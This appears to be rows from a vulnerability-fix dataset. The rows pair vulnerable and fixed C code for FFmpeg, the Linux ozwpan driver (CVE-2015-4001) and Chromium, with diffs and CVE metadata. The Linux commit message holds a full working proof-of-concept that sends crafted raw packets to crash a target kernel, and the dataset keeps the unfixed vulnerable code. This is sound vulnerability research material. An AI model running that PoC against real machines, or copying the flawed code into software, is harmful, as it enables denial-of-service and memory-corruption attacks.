if (ctx->shape != BIN_ONLY_SHAPE) {
s->alternate_scan = get_bits1(gb);
s->frame_pred_frame_dct = get_bits1(gb);
s->dct_precision = get_bits(gb, 2);
s->intra_dc_precision = get_bits(gb, 2);
s->q_scale_type = get_bits1(gb);
}
if (s->alternate_scan) {
ff_init_scantable(s->idsp.idct_permutation, &s->inter_scantable, ff_alternate_vertical_scan);
ff_init_scantable(s->idsp.idct_permutation, &s->intra_scantable, ff_alternate_vertical_scan);
ff_init_scantable(s->idsp.idct_permutation, &s->intra_h_scantable, ff_alternate_vertical_scan);
ff_init_scantable(s->idsp.idct_permutation, &s->intra_v_scantable, ff_alternate_vertical_scan);
} else {
ff_init_scantable(s->idsp.idct_permutation, &s->inter_scantable, ff_zigzag_direct);
ff_init_scantable(s->idsp.idct_permutation, &s->intra_scantable, ff_zigzag_direct);
ff_init_scantable(s->idsp.idct_permutation, &s->intra_h_scantable, ff_alternate_horizontal_scan);
ff_init_scantable(s->idsp.idct_permutation, &s->intra_v_scantable, ff_alternate_vertical_scan);
}
mpeg4_load_default_matrices(s);
next_start_code_studio(gb);
extension_and_user_data(s, gb, 4);
return 0;
}
|
static int decode_studio_vop_header(Mpeg4DecContext *ctx, GetBitContext *gb)
{
MpegEncContext *s = &ctx->m;
if (get_bits_left(gb) <= 32)
return 0;
s->partitioned_frame = 0;
s->decode_mb = mpeg4_decode_studio_mb;
decode_smpte_tc(ctx, gb);
skip_bits(gb, 10); /* temporal_reference */
skip_bits(gb, 2); /* vop_structure */
s->pict_type = get_bits(gb, 2) + AV_PICTURE_TYPE_I; /* vop_coding_type */
if (get_bits1(gb)) { /* vop_coded */
skip_bits1(gb); /* top_field_first */
skip_bits1(gb); /* repeat_first_field */
s->progressive_frame = get_bits1(gb) ^ 1; /* progressive_frame */
}
if (s->pict_type == AV_PICTURE_TYPE_I) {
if (get_bits1(gb))
reset_studio_dc_predictors(s);
}
if (ctx->shape != BIN_ONLY_SHAPE) {
s->alternate_scan = get_bits1(gb);
s->frame_pred_frame_dct = get_bits1(gb);
s->dct_precision = get_bits(gb, 2);
s->intra_dc_precision = get_bits(gb, 2);
s->q_scale_type = get_bits1(gb);
}
if (s->alternate_scan) {
ff_init_scantable(s->idsp.idct_permutation, &s->inter_scantable, ff_alternate_vertical_scan);
ff_init_scantable(s->idsp.idct_permutation, &s->intra_scantable, ff_alternate_vertical_scan);
ff_init_scantable(s->idsp.idct_permutation, &s->intra_h_scantable, ff_alternate_vertical_scan);
ff_init_scantable(s->idsp.idct_permutation, &s->intra_v_scantable, ff_alternate_vertical_scan);
} else {
ff_init_scantable(s->idsp.idct_permutation, &s->inter_scantable, ff_zigzag_direct);
ff_init_scantable(s->idsp.idct_permutation, &s->intra_scantable, ff_zigzag_direct);
ff_init_scantable(s->idsp.idct_permutation, &s->intra_h_scantable, ff_alternate_horizontal_scan);
ff_init_scantable(s->idsp.idct_permutation, &s->intra_v_scantable, ff_alternate_vertical_scan);
}
mpeg4_load_default_matrices(s);
next_start_code_studio(gb);
extension_and_user_data(s, gb, 4);
return 0;
}
|
C
|
s->interlaced_dct = 0;
| null | null |
@@ -3057,6 +3057,7 @@ static int decode_studio_vop_header(Mpeg4DecContext *ctx, GetBitContext *gb)
return 0;
s->partitioned_frame = 0;
+ s->interlaced_dct = 0;
s->decode_mb = mpeg4_decode_studio_mb;
decode_smpte_tc(ctx, gb);
|
FFmpeg
|
1f686d023b95219db933394a7704ad9aa5f01cbb
|
d6fc5dc24aa09e026c6271a7565e63798dfe46f3
| 1
|
static int decode_studio_vop_header(Mpeg4DecContext *ctx, GetBitContext *gb)
{
MpegEncContext *s = &ctx->m;
if (get_bits_left(gb) <= 32)
return 0;
s->partitioned_frame = 0;
//fix_flaw_line_below:
// s->interlaced_dct = 0;
s->decode_mb = mpeg4_decode_studio_mb;
decode_smpte_tc(ctx, gb);
skip_bits(gb, 10); /* temporal_reference */
skip_bits(gb, 2); /* vop_structure */
s->pict_type = get_bits(gb, 2) + AV_PICTURE_TYPE_I; /* vop_coding_type */
if (get_bits1(gb)) { /* vop_coded */
skip_bits1(gb); /* top_field_first */
skip_bits1(gb); /* repeat_first_field */
s->progressive_frame = get_bits1(gb) ^ 1; /* progressive_frame */
}
if (s->pict_type == AV_PICTURE_TYPE_I) {
if (get_bits1(gb))
reset_studio_dc_predictors(s);
}
if (ctx->shape != BIN_ONLY_SHAPE) {
s->alternate_scan = get_bits1(gb);
s->frame_pred_frame_dct = get_bits1(gb);
s->dct_precision = get_bits(gb, 2);
s->intra_dc_precision = get_bits(gb, 2);
s->q_scale_type = get_bits1(gb);
}
if (s->alternate_scan) {
ff_init_scantable(s->idsp.idct_permutation, &s->inter_scantable, ff_alternate_vertical_scan);
ff_init_scantable(s->idsp.idct_permutation, &s->intra_scantable, ff_alternate_vertical_scan);
ff_init_scantable(s->idsp.idct_permutation, &s->intra_h_scantable, ff_alternate_vertical_scan);
ff_init_scantable(s->idsp.idct_permutation, &s->intra_v_scantable, ff_alternate_vertical_scan);
} else {
ff_init_scantable(s->idsp.idct_permutation, &s->inter_scantable, ff_zigzag_direct);
ff_init_scantable(s->idsp.idct_permutation, &s->intra_scantable, ff_zigzag_direct);
ff_init_scantable(s->idsp.idct_permutation, &s->intra_h_scantable, ff_alternate_horizontal_scan);
ff_init_scantable(s->idsp.idct_permutation, &s->intra_v_scantable, ff_alternate_vertical_scan);
}
mpeg4_load_default_matrices(s);
next_start_code_studio(gb);
extension_and_user_data(s, gb, 4);
return 0;
}
|
43,191
| null |
Remote
|
Not required
|
Complete
|
CVE-2015-4001
|
https://www.cvedetails.com/cve/CVE-2015-4001/
|
CWE-189
|
Low
|
Partial
|
Partial
| null |
2015-06-07
| 9
|
Integer signedness error in the oz_hcd_get_desc_cnf function in drivers/staging/ozwpan/ozhcd.c in the OZWPAN driver in the Linux kernel through 4.0.5 allows remote attackers to cause a denial of service (system crash) or possibly execute arbitrary code via a crafted packet.
|
2016-12-27
|
DoS Exec Code
| 0
|
https://github.com/torvalds/linux/commit/b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c
|
b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c
|
ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
| 0
|
drivers/staging/ozwpan/ozhcd.c
|
{"sha": "784b5ecfa8493ba07d8ba90cde1b11b2b6a4b6b7", "filename": "drivers/staging/ozwpan/ozhcd.c", "status": "modified", "additions": 4, "deletions": 4, "changes": 8, "blob_url": "https://github.com/torvalds/linux/blob/b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c/drivers/staging/ozwpan/ozhcd.c", "raw_url": "https://github.com/torvalds/linux/raw/b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c/drivers/staging/ozwpan/ozhcd.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/drivers/staging/ozwpan/ozhcd.c?ref=b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c", "patch": "@@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport)\n /*\n * Context: softirq\n */\n-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,\n-\t\t\tint length, int offset, int total_size)\n+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, const u8 *desc,\n+\t\t\tu8 length, u16 offset, u16 total_size)\n {\n \tstruct oz_port *port = hport;\n \tstruct urb *urb;\n@@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,\n \tif (!urb)\n \t\treturn;\n \tif (status == 0) {\n-\t\tint copy_len;\n-\t\tint required_size = urb->transfer_buffer_length;\n+\t\tunsigned int copy_len;\n+\t\tunsigned int required_size = urb->transfer_buffer_length;\n \n \t\tif (required_size > total_size)\n \t\t\trequired_size = total_size;"}<_**next**_>{"sha": "d2a6085345bec8c2e927115389efc46bfbad3019", "filename": "drivers/staging/ozwpan/ozusbif.h", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/torvalds/linux/blob/b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c/drivers/staging/ozwpan/ozusbif.h", "raw_url": "https://github.com/torvalds/linux/raw/b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c/drivers/staging/ozwpan/ozusbif.h", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/drivers/staging/ozwpan/ozusbif.h?ref=b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c", "patch": "@@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd);\n \n /* Confirmation functions.\n */\n-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status,\n-\tconst u8 *desc, int length, int offset, int total_size);\n+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status,\n+\tconst u8 *desc, u8 length, u16 offset, u16 total_size);\n void oz_hcd_control_cnf(void *hport, u8 req_id, u8 rcode,\n \tconst u8 *data, int data_len);\n "}
|
void oz_hcd_pd_departed(struct oz_port *port)
{
struct oz_hcd *ozhcd;
void *hpd;
struct oz_endpoint *ep = NULL;
if (port == NULL) {
oz_dbg(ON, "%s: port = 0\n", __func__);
return;
}
ozhcd = port->ozhcd;
if (ozhcd == NULL)
return;
/* Check if this is the connection port - if so clear it.
*/
spin_lock_bh(&ozhcd->hcd_lock);
if ((ozhcd->conn_port >= 0) &&
(port == &ozhcd->ports[ozhcd->conn_port])) {
oz_dbg(ON, "Clearing conn_port\n");
ozhcd->conn_port = -1;
}
spin_lock(&port->port_lock);
port->flags |= OZ_PORT_F_DYING;
spin_unlock(&port->port_lock);
spin_unlock_bh(&ozhcd->hcd_lock);
oz_clean_endpoints_for_config(ozhcd->hcd, port);
spin_lock_bh(&port->port_lock);
hpd = port->hpd;
port->hpd = NULL;
port->bus_addr = 0xff;
port->config_num = 0;
port->flags &= ~(OZ_PORT_F_PRESENT | OZ_PORT_F_DYING);
port->flags |= OZ_PORT_F_CHANGED;
port->status &= ~(USB_PORT_STAT_CONNECTION | USB_PORT_STAT_ENABLE);
port->status |= (USB_PORT_STAT_C_CONNECTION << 16);
/* If there is an endpont 0 then clear the pointer while we hold
* the spinlock be we deallocate it after releasing the lock.
*/
if (port->out_ep[0]) {
ep = port->out_ep[0];
port->out_ep[0] = NULL;
}
spin_unlock_bh(&port->port_lock);
if (ep)
oz_ep_free(port, ep);
usb_hcd_poll_rh_status(ozhcd->hcd);
oz_usb_put(hpd);
}
|
void oz_hcd_pd_departed(struct oz_port *port)
{
struct oz_hcd *ozhcd;
void *hpd;
struct oz_endpoint *ep = NULL;
if (port == NULL) {
oz_dbg(ON, "%s: port = 0\n", __func__);
return;
}
ozhcd = port->ozhcd;
if (ozhcd == NULL)
return;
/* Check if this is the connection port - if so clear it.
*/
spin_lock_bh(&ozhcd->hcd_lock);
if ((ozhcd->conn_port >= 0) &&
(port == &ozhcd->ports[ozhcd->conn_port])) {
oz_dbg(ON, "Clearing conn_port\n");
ozhcd->conn_port = -1;
}
spin_lock(&port->port_lock);
port->flags |= OZ_PORT_F_DYING;
spin_unlock(&port->port_lock);
spin_unlock_bh(&ozhcd->hcd_lock);
oz_clean_endpoints_for_config(ozhcd->hcd, port);
spin_lock_bh(&port->port_lock);
hpd = port->hpd;
port->hpd = NULL;
port->bus_addr = 0xff;
port->config_num = 0;
port->flags &= ~(OZ_PORT_F_PRESENT | OZ_PORT_F_DYING);
port->flags |= OZ_PORT_F_CHANGED;
port->status &= ~(USB_PORT_STAT_CONNECTION | USB_PORT_STAT_ENABLE);
port->status |= (USB_PORT_STAT_C_CONNECTION << 16);
/* If there is an endpont 0 then clear the pointer while we hold
* the spinlock be we deallocate it after releasing the lock.
*/
if (port->out_ep[0]) {
ep = port->out_ep[0];
port->out_ep[0] = NULL;
}
spin_unlock_bh(&port->port_lock);
if (ep)
oz_ep_free(port, ep);
usb_hcd_poll_rh_status(ozhcd->hcd);
oz_usb_put(hpd);
}
|
C
| null | null | null |
@@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport)
/*
* Context: softirq
*/
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
- int length, int offset, int total_size)
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, const u8 *desc,
+ u8 length, u16 offset, u16 total_size)
{
struct oz_port *port = hport;
struct urb *urb;
@@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
if (!urb)
return;
if (status == 0) {
- int copy_len;
- int required_size = urb->transfer_buffer_length;
+ unsigned int copy_len;
+ unsigned int required_size = urb->transfer_buffer_length;
if (required_size > total_size)
required_size = total_size;
|
linux
|
b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c
|
d114b9fe78c8d6fc6e70808c2092aa307c36dc8e
| 0
|
void oz_hcd_pd_departed(struct oz_port *port)
{
struct oz_hcd *ozhcd;
void *hpd;
struct oz_endpoint *ep = NULL;
if (port == NULL) {
oz_dbg(ON, "%s: port = 0\n", __func__);
return;
}
ozhcd = port->ozhcd;
if (ozhcd == NULL)
return;
/* Check if this is the connection port - if so clear it.
*/
spin_lock_bh(&ozhcd->hcd_lock);
if ((ozhcd->conn_port >= 0) &&
(port == &ozhcd->ports[ozhcd->conn_port])) {
oz_dbg(ON, "Clearing conn_port\n");
ozhcd->conn_port = -1;
}
spin_lock(&port->port_lock);
port->flags |= OZ_PORT_F_DYING;
spin_unlock(&port->port_lock);
spin_unlock_bh(&ozhcd->hcd_lock);
oz_clean_endpoints_for_config(ozhcd->hcd, port);
spin_lock_bh(&port->port_lock);
hpd = port->hpd;
port->hpd = NULL;
port->bus_addr = 0xff;
port->config_num = 0;
port->flags &= ~(OZ_PORT_F_PRESENT | OZ_PORT_F_DYING);
port->flags |= OZ_PORT_F_CHANGED;
port->status &= ~(USB_PORT_STAT_CONNECTION | USB_PORT_STAT_ENABLE);
port->status |= (USB_PORT_STAT_C_CONNECTION << 16);
/* If there is an endpont 0 then clear the pointer while we hold
* the spinlock be we deallocate it after releasing the lock.
*/
if (port->out_ep[0]) {
ep = port->out_ep[0];
port->out_ep[0] = NULL;
}
spin_unlock_bh(&port->port_lock);
if (ep)
oz_ep_free(port, ep);
usb_hcd_poll_rh_status(ozhcd->hcd);
oz_usb_put(hpd);
}
|
138,147
| null |
Remote
|
Not required
|
Partial
|
CVE-2015-1274
|
https://www.cvedetails.com/cve/CVE-2015-1274/
|
CWE-254
|
Medium
|
Partial
|
Partial
| null |
2015-07-22
| 6.8
|
Google Chrome before 44.0.2403.89 does not ensure that the auto-open list omits all dangerous file types, which makes it easier for remote attackers to execute arbitrary code by providing a crafted file and leveraging a user's previous *Always open files of this type* choice, related to download_commands.cc and download_prefs.cc.
|
2018-10-30
|
Exec Code
| 0
|
https://github.com/chromium/chromium/commit/d27468a832d5316884bd02f459cbf493697fd7e1
|
d27468a832d5316884bd02f459cbf493697fd7e1
|
Switch to equalIgnoringASCIICase throughout modules/accessibility
BUG=627682
Review-Url: https://codereview.chromium.org/2793913007
Cr-Commit-Position: refs/heads/master@{#461858}
| 0
|
third_party/WebKit/Source/modules/accessibility/AXObject.cpp
|
{"sha": "b7b9d3ad4a5cdff0f72bf31370c16bddf7da6615", "filename": "third_party/WebKit/Source/modules/accessibility/AXARIAGridCell.cpp", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXARIAGridCell.cpp", "raw_url": "https://github.com/chromium/chromium/raw/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXARIAGridCell.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/modules/accessibility/AXARIAGridCell.cpp?ref=d27468a832d5316884bd02f459cbf493697fd7e1", "patch": "@@ -47,12 +47,12 @@ AXARIAGridCell* AXARIAGridCell::create(LayoutObject* layoutObject,\n \n bool AXARIAGridCell::isAriaColumnHeader() const {\n const AtomicString& role = getAttribute(HTMLNames::roleAttr);\n- return equalIgnoringCase(role, \"columnheader\");\n+ return equalIgnoringASCIICase(role, \"columnheader\");\n }\n \n bool AXARIAGridCell::isAriaRowHeader() const {\n const AtomicString& role = getAttribute(HTMLNames::roleAttr);\n- return equalIgnoringCase(role, \"rowheader\");\n+ return equalIgnoringASCIICase(role, \"rowheader\");\n }\n \n AXObject* AXARIAGridCell::parentTable() const {"}<_**next**_>{"sha": "5b27c4762de74bb75c79991c9efd0c2889582e7a", "filename": "third_party/WebKit/Source/modules/accessibility/AXLayoutObject.cpp", "status": "modified", "additions": 5, "deletions": 5, "changes": 10, "blob_url": "https://github.com/chromium/chromium/blob/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXLayoutObject.cpp", "raw_url": "https://github.com/chromium/chromium/raw/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXLayoutObject.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/modules/accessibility/AXLayoutObject.cpp?ref=d27468a832d5316884bd02f459cbf493697fd7e1", "patch": "@@ -459,7 +459,7 @@ bool AXLayoutObject::isSelected() const {\n return false;\n \n const AtomicString& ariaSelected = getAttribute(aria_selectedAttr);\n- if (equalIgnoringCase(ariaSelected, \"true\"))\n+ if (equalIgnoringASCIICase(ariaSelected, \"true\"))\n return true;\n \n AXObject* focusedObject = axObjectCache().focusedObject();\n@@ -492,7 +492,7 @@ AXObjectInclusion AXLayoutObject::defaultObjectInclusion(\n if (m_layoutObject->style()->visibility() != EVisibility::kVisible) {\n // aria-hidden is meant to override visibility as the determinant in AX\n // hierarchy inclusion.\n- if (equalIgnoringCase(getAttribute(aria_hiddenAttr), \"false\"))\n+ if (equalIgnoringASCIICase(getAttribute(aria_hiddenAttr), \"false\"))\n return DefaultBehavior;\n \n if (ignoredReasons)\n@@ -1296,8 +1296,8 @@ AXObject* AXLayoutObject::ancestorForWhichThisIsAPresentationalChild() const {\n \n bool AXLayoutObject::supportsARIADragging() const {\n const AtomicString& grabbed = getAttribute(aria_grabbedAttr);\n- return equalIgnoringCase(grabbed, \"true\") ||\n- equalIgnoringCase(grabbed, \"false\");\n+ return equalIgnoringASCIICase(grabbed, \"true\") ||\n+ equalIgnoringASCIICase(grabbed, \"false\");\n }\n \n bool AXLayoutObject::supportsARIADropping() const {\n@@ -2500,7 +2500,7 @@ bool AXLayoutObject::elementAttributeValue(\n if (!m_layoutObject)\n return false;\n \n- return equalIgnoringCase(getAttribute(attributeName), \"true\");\n+ return equalIgnoringASCIICase(getAttribute(attributeName), \"true\");\n }\n \n } // namespace blink"}<_**next**_>{"sha": "c4ba92f543cc10e21aa2d00a7da7f842fe57c457", "filename": "third_party/WebKit/Source/modules/accessibility/AXListBoxOption.cpp", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXListBoxOption.cpp", "raw_url": "https://github.com/chromium/chromium/raw/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXListBoxOption.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/modules/accessibility/AXListBoxOption.cpp?ref=d27468a832d5316884bd02f459cbf493697fd7e1", "patch": "@@ -82,7 +82,7 @@ bool AXListBoxOption::isEnabled() const {\n if (!getNode())\n return false;\n \n- if (equalIgnoringCase(getAttribute(aria_disabledAttr), \"true\"))\n+ if (equalIgnoringASCIICase(getAttribute(aria_disabledAttr), \"true\"))\n return false;\n \n if (toElement(getNode())->hasAttribute(disabledAttr))"}<_**next**_>{"sha": "26298b2f98b7badcdcd664b7aff30e60428daf91", "filename": "third_party/WebKit/Source/modules/accessibility/AXNodeObject.cpp", "status": "modified", "additions": 31, "deletions": 30, "changes": 61, "blob_url": "https://github.com/chromium/chromium/blob/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXNodeObject.cpp", "raw_url": "https://github.com/chromium/chromium/raw/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXNodeObject.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/modules/accessibility/AXNodeObject.cpp?ref=d27468a832d5316884bd02f459cbf493697fd7e1", "patch": "@@ -96,7 +96,7 @@ class BoolAttributeSetter : public SparseAttributeSetter {\n AXSparseAttributeClient& attributeMap,\n const AtomicString& value) override {\n attributeMap.addBoolAttribute(m_attribute,\n- equalIgnoringCase(value, \"true\"));\n+ equalIgnoringASCIICase(value, \"true\"));\n }\n };\n \n@@ -300,7 +300,7 @@ bool AXNodeObject::computeAccessibilityIsIgnored(\n Element* element = getNode()->isElementNode() ? toElement(getNode())\n : getNode()->parentElement();\n if (!getLayoutObject() && (!element || !element->isInCanvasSubtree()) &&\n- !equalIgnoringCase(getAttribute(aria_hiddenAttr), \"false\")) {\n+ !equalIgnoringASCIICase(getAttribute(aria_hiddenAttr), \"false\")) {\n if (ignoredReasons)\n ignoredReasons->push_back(IgnoredReason(AXNotRendered));\n return true;\n@@ -750,7 +750,7 @@ bool AXNodeObject::hasContentEditableAttributeSet() const {\n return false;\n // Both \"true\" (case-insensitive) and the empty string count as true.\n return contentEditableValue.isEmpty() ||\n- equalIgnoringCase(contentEditableValue, \"true\");\n+ equalIgnoringASCIICase(contentEditableValue, \"true\");\n }\n \n bool AXNodeObject::isTextControl() const {\n@@ -825,7 +825,7 @@ static Element* siblingWithAriaRole(String role, Node* node) {\n sibling = ElementTraversal::nextSibling(*sibling)) {\n const AtomicString& siblingAriaRole =\n AccessibleNode::getProperty(sibling, AOMStringProperty::kRole);\n- if (equalIgnoringCase(siblingAriaRole, role))\n+ if (equalIgnoringASCIICase(siblingAriaRole, role))\n return sibling;\n }\n \n@@ -1044,9 +1044,9 @@ bool AXNodeObject::isMeter() const {\n bool AXNodeObject::isMultiSelectable() const {\n const AtomicString& ariaMultiSelectable =\n getAttribute(aria_multiselectableAttr);\n- if (equalIgnoringCase(ariaMultiSelectable, \"true\"))\n+ if (equalIgnoringASCIICase(ariaMultiSelectable, \"true\"))\n return true;\n- if (equalIgnoringCase(ariaMultiSelectable, \"false\"))\n+ if (equalIgnoringASCIICase(ariaMultiSelectable, \"false\"))\n return false;\n \n return isHTMLSelectElement(getNode()) &&\n@@ -1159,7 +1159,7 @@ bool AXNodeObject::isChecked() const {\n case MenuItemRadioRole:\n case RadioButtonRole:\n case SwitchRole:\n- if (equalIgnoringCase(\n+ if (equalIgnoringASCIICase(\n getAOMPropertyOrARIAAttribute(AOMStringProperty::kChecked),\n \"true\"))\n return true;\n@@ -1211,9 +1211,9 @@ AccessibilityExpanded AXNodeObject::isExpanded() const {\n }\n \n const AtomicString& expanded = getAttribute(aria_expandedAttr);\n- if (equalIgnoringCase(expanded, \"true\"))\n+ if (equalIgnoringASCIICase(expanded, \"true\"))\n return ExpandedExpanded;\n- if (equalIgnoringCase(expanded, \"false\"))\n+ if (equalIgnoringASCIICase(expanded, \"false\"))\n return ExpandedCollapsed;\n \n return ExpandedUndefined;\n@@ -1225,9 +1225,9 @@ bool AXNodeObject::isModal() const {\n \n if (hasAttribute(aria_modalAttr)) {\n const AtomicString& modal = getAttribute(aria_modalAttr);\n- if (equalIgnoringCase(modal, \"true\"))\n+ if (equalIgnoringASCIICase(modal, \"true\"))\n return true;\n- if (equalIgnoringCase(modal, \"false\"))\n+ if (equalIgnoringASCIICase(modal, \"false\"))\n return false;\n }\n \n@@ -1248,8 +1248,8 @@ bool AXNodeObject::isPressed() const {\n // ARIA button with aria-pressed not undefined, then check for aria-pressed\n // attribute rather than getNode()->active()\n if (ariaRoleAttribute() == ToggleButtonRole) {\n- if (equalIgnoringCase(getAttribute(aria_pressedAttr), \"true\") ||\n- equalIgnoringCase(getAttribute(aria_pressedAttr), \"mixed\"))\n+ if (equalIgnoringASCIICase(getAttribute(aria_pressedAttr), \"true\") ||\n+ equalIgnoringASCIICase(getAttribute(aria_pressedAttr), \"mixed\"))\n return true;\n return false;\n }\n@@ -1280,7 +1280,7 @@ bool AXNodeObject::isRequired() const {\n hasAttribute(requiredAttr))\n return toHTMLFormControlElement(n)->isRequired();\n \n- if (equalIgnoringCase(getAttribute(aria_requiredAttr), \"true\"))\n+ if (equalIgnoringASCIICase(getAttribute(aria_requiredAttr), \"true\"))\n return true;\n \n return false;\n@@ -1310,7 +1310,7 @@ bool AXNodeObject::canSetFocusAttribute() const {\n }\n \n bool AXNodeObject::canSetValueAttribute() const {\n- 